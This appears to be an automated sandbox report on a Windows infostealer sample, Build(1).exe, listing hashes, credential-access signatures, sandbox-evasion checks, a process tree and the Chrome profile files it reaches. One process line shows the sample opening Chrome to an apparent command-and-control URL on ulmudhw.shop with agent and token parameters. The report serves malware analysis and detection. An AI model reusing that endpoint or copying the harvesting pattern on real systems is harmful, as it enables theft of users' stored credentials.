Analysis
- max time kernel
149s - max time network
154s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
25/04/2026, 19:58
Behavioral task
behavioral1
Sample
Build(1).exe
Resource
win10v2004-20260130-en
Behavioral task
behavioral2
Sample
Build(1).exe
Resource
win10ltsc2021-20260130-en
General
- Target Build(1).exe
- Size 337KB
- Sample260425-yqasrag15v
- SHA256 a9091aba78af2e7fc794e8d0c9d17ed34347259fcf79395485135162989f6d83
- MD5 279780ddd4170ee927f49e62269667ea
- SHA1 1ca5e6a1c34fe806f6938086bf3de38b41af98ad
- SHA512 1f8f7da53175f17829b97aef6725d36366d2082517011ead1c61836db7235b1d792090346d178f3440a5847a78ab45651e2232bfe941f40f9a51997a32c4c617
- SSDEEP 6144:XvgEeOcmwvEL7fF1jTA659HSC8AVtZ5XlOHaoIhEFydlt:/8OcZ07bf0OtDlOHaoIndlt
- TLSH T1BA747B8AE7BB54B0D58B0938259FB33BDF3416294328CEC7DBF0DA4475672E21536A06
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Build(1).exe - System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
pid Process 4720 chrome.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier chrome.exe - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe - Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry chrome.exe Set value (int) \REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134216208495075731" chrome.exe - Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\ chrome.exe - Suspicious behavior: EnumeratesProcesses 14 IoCs
pid Process 4056 Build(1).exe 4056 Build(1).exe 4056 Build(1).exe 4056 Build(1).exe 3764 chrome.exe 3764 chrome.exe 4056 Build(1).exe 4056 Build(1).exe 4056 Build(1).exe 4056 Build(1).exe 4056 Build(1).exe 4056 Build(1).exe 4056 Build(1).exe 4056 Build(1).exe - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs
pid Process 3764 chrome.exe 3764 chrome.exe 3764 chrome.exe - Suspicious use of AdjustPrivilegeToken 14 IoCs
description pid Process Token: SeShutdownPrivilege 3764 chrome.exe Token: SeCreatePagefilePrivilege 3764 chrome.exe Token: SeShutdownPrivilege 3764 chrome.exe Token: SeCreatePagefilePrivilege 3764 chrome.exe Token: SeShutdownPrivilege 3764 chrome.exe Token: SeCreatePagefilePrivilege 3764 chrome.exe Token: SeShutdownPrivilege 3764 chrome.exe Token: SeCreatePagefilePrivilege 3764 chrome.exe Token: SeShutdownPrivilege 3764 chrome.exe Token: SeCreatePagefilePrivilege 3764 chrome.exe Token: SeShutdownPrivilege 3764 chrome.exe Token: SeCreatePagefilePrivilege 3764 chrome.exe Token: SeShutdownPrivilege 3764 chrome.exe Token: SeCreatePagefilePrivilege 3764 chrome.exe - Suspicious use of FindShellTrayWindow 34 IoCs
pid Process 3764 chrome.exe 3764 chrome.exe 3764 chrome.exe 3764 chrome.exe 3764 chrome.exe 3764 chrome.exe 3764 chrome.exe 3764 chrome.exe 3764 chrome.exe 3764 chrome.exe 3764 chrome.exe 3764 chrome.exe 3764 chrome.exe 3764 chrome.exe 3764 chrome.exe 3764 chrome.exe 3764 chrome.exe 3764 chrome.exe 3764 chrome.exe 3764 chrome.exe 3764 chrome.exe 3764 chrome.exe 3764 chrome.exe 3764 chrome.exe 3764 chrome.exe 3764 chrome.exe 3764 chrome.exe 3764 chrome.exe 3764 chrome.exe 3764 chrome.exe 3764 chrome.exe 3764 chrome.exe 3764 chrome.exe 3764 chrome.exe - Suspicious use of WriteProcessMemory 16 IoCs
description pid Process procid_target PID 4056 wrote to memory of 3764 4056 Build(1).exe 92 PID 3764 wrote to memory of 3984 3764 chrome.exe 93 PID 3764 wrote to memory of 4416 3764 chrome.exe 94 PID 3764 wrote to memory of 4416 3764 chrome.exe 94 PID 3764 wrote to memory of 4720 3764 chrome.exe 95 PID 3764 wrote to memory of 5008 3764 chrome.exe 96 PID 3764 wrote to memory of 5008 3764 chrome.exe 96 PID 3764 wrote to memory of 216 3764 chrome.exe 98 PID 3764 wrote to memory of 216 3764 chrome.exe 98 PID 3764 wrote to memory of 4288 3764 chrome.exe 99 PID 3764 wrote to memory of 4288 3764 chrome.exe 99 PID 3764 wrote to memory of 432 3764 chrome.exe 100 PID 3764 wrote to memory of 432 3764 chrome.exe 100 PID 3764 wrote to memory of 4744 3764 chrome.exe 101 PID 3764 wrote to memory of 4744 3764 chrome.exe 101 PID 3764 wrote to memory of 2368 3764 chrome.exe 103
Processes
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C:\Users\Admin\AppData\Local\Temp\Build(1).exe"C:\Users\Admin\AppData\Local\Temp\Build(1).exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4056 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" ulmudhw.shop/api/set_agent?id=363B4505BD24956701AEC7B30ADF174C&token=4e92ffe9c8490e49733684aeba8be2ca5f&description=0d5b0d6e95037f7d0d4d809554f3b6d0&agent=Chrome2⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:3764 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffea13bc728,0x7ffea13bc734,0x7ffea13bc7403⤵PID:3984
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1784,i,8346409020895547791,4653761213847406645,262144 --field-trial-handle=2024,i,2429868234522724792,17548720259377506418,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2020 /prefetch:23⤵PID:4416
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2228,i,17626623711342459434,9725580181731224076,524288 --field-trial-handle=2024,i,2429868234522724792,17548720259377506418,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2276 /prefetch:33⤵
- System Time Discovery
PID:4720
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2412,i,8069298168106949573,12572216634604791829,524288 --field-trial-handle=2024,i,2429868234522724792,17548720259377506418,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2428 /prefetch:83⤵PID:5008
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3160,i,12382543847117217884,4979379240679589928,2097152 --field-trial-handle=2024,i,2429868234522724792,17548720259377506418,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3288 /prefetch:13⤵PID:216
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3172,i,17628651054121903762,5972289495124906409,2097152 --field-trial-handle=2024,i,2429868234522724792,17548720259377506418,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3308 /prefetch:13⤵PID:4288
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4276,i,8677555226436205049,9614962836623373362,2097152 --field-trial-handle=2024,i,2429868234522724792,17548720259377506418,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4292 /prefetch:23⤵PID:432
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --metrics-shmem-handle=4420,i,2829255254997525850,15768243081575087416,524288 --field-trial-handle=2024,i,2429868234522724792,17548720259377506418,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4224 /prefetch:83⤵PID:4744
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5408,i,12867027082134707130,8276834535991109860,524288 --field-trial-handle=2024,i,2429868234522724792,17548720259377506418,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5412 /prefetch:83⤵PID:2368
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C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵PID:4220
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵PID:436
Network
MITRE ATT&CK Enterprise v16
Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
3Credentials In Files
3Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
- Size 6B
- SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
- MD5 377d072e137022223a370760763420bb
- SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
- SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
- Size 20KB
- SHA256 b4309d551b472471cb13926d4e624c75c5940193e40b8cda3ef65f3c9bd16f93
- MD5 9edc0edaf6e6e40b481833aecc076fd7
- SHA1 8e559039f12559f7b19da512114bef853589d5f3
- SHA512 cb68c8e133c08e14dd277ff1055a3cf9eea3c9d62a6ee84e5397d270447edbdaa53942d04c24b74ae6bd019ee270f26ce6fd4860c252024f38ab4a486fd65d61
- SSDEEP 24:TL/91kweka6cLbXYFpFNYba5+6UwcQ8PAl5fBnwd52uHY9lcj:Tb9aw/aHLopFMavU1iBwHPr
- TLSH T1FF92EC8F1F303614C4F88B32FEC6058B1EBD521C93676ACAAD1464B29D8659FF5064A6
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
- Size 2B
- SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
- MD5 d751713988987e9331980363e24189ce
- SHA1 97d170e1550eee4afc0af065b78cda302a97674c
- SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
- Size 138KB
- SHA256 f21e145988f583ffd44d045a32416d8843f68c98bdcb5cb4f197284cc5393dd7
- MD5 84ea0ffa37da7a6e1b879596710fe201
- SHA1 1c0a31f2f8f27414593cc954ee995a2a0471ac50
- SHA512 c1fc9c670674a34c3791b53390556edb81d6aa64b9675d20de475271128de2d437837c128dd6e884019d0a51dcdc04114301fe17767847ea7d552ba3c31eb0eb
- SSDEEP 192:tB+XuvBnl3JsueMEGvIW1/rcP2ObpX6vQqNVummwkK:jeuvBnhJsueMEGvIW1DcP2OVG/VummnK
- TLSH T16AD3884B3A743102DEE5DA721CE051BB5E3CB16D4F51A5D528B620688EF2863B23D4BF
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Last Version
- Size 13B
- SHA256 e5efa9eb104cd0b25149c2e789bec8d9aa4ba95678831b657eef7780a281c391
- MD5 43ef949d3c6e9956545979ace65d0085
- SHA1 63f2b2de8727854597e49a1216e8e74c68117c07
- SHA512 313a5ab7ac9b5efd955beba4615784bdc2a9058ddaa804d85fb2d0c651dd3de07e382d61a1bb482499520a80e0b64c004ff2af03459cbc1daef47f540f0a6905
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 89KB
- SHA256 1c44bfa93d960e470c371ffcf6ab99ec2442e37bd2140bf9e0c56834159ef8e3
- MD5 3f41cc895efbbcd55d6a2cd11e19caf2
- SHA1 c100f3c6e74eba619a9c6125a17e018d4203d764
- SHA512 60adcbbe9305eea5f3143d6f0314734354e6461549cd3db32f178490fc2a3f871c5c6d928631988ad9227e4a87adf41f8cf0b386fd2fe7c87edcff78292e2b8a
- SSDEEP 1536:jVTcYRrL+PTA5F9/EO93Sos5EA3A820kOzXmUWUSGbqRszr6vFAlZLPm+6jR9YEm:xT3Qw/xLANk0mUW5GmRntSFCjEENQ
- TLSH T1829302BA5E174AE7997D4A8176AA7809CE12630D70AFA9CC315C638C21D41C92F73E73
- MD5 SHA1 SHA512 SSDEEP TLSH